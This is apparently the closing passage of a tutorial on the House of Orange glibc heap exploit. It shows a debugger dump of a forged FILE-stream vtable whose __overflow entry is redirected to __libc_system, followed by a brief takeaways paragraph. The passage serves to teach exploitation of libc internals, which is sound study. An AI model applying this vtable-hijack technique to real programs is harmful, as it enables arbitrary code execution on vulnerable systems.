__overflow = 0x7f39a643f830 <__libc_system>,
__underflow = 0x562d53f110d8,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}
Takeaways
The House of Orange exploit is a sophisticated and elegant attack that demonstrates the power of combining heap exploitation (unsorted bin) with FILE stream hijacking. Mastery of this attack requires deep understanding of libc internals and memory manipulation.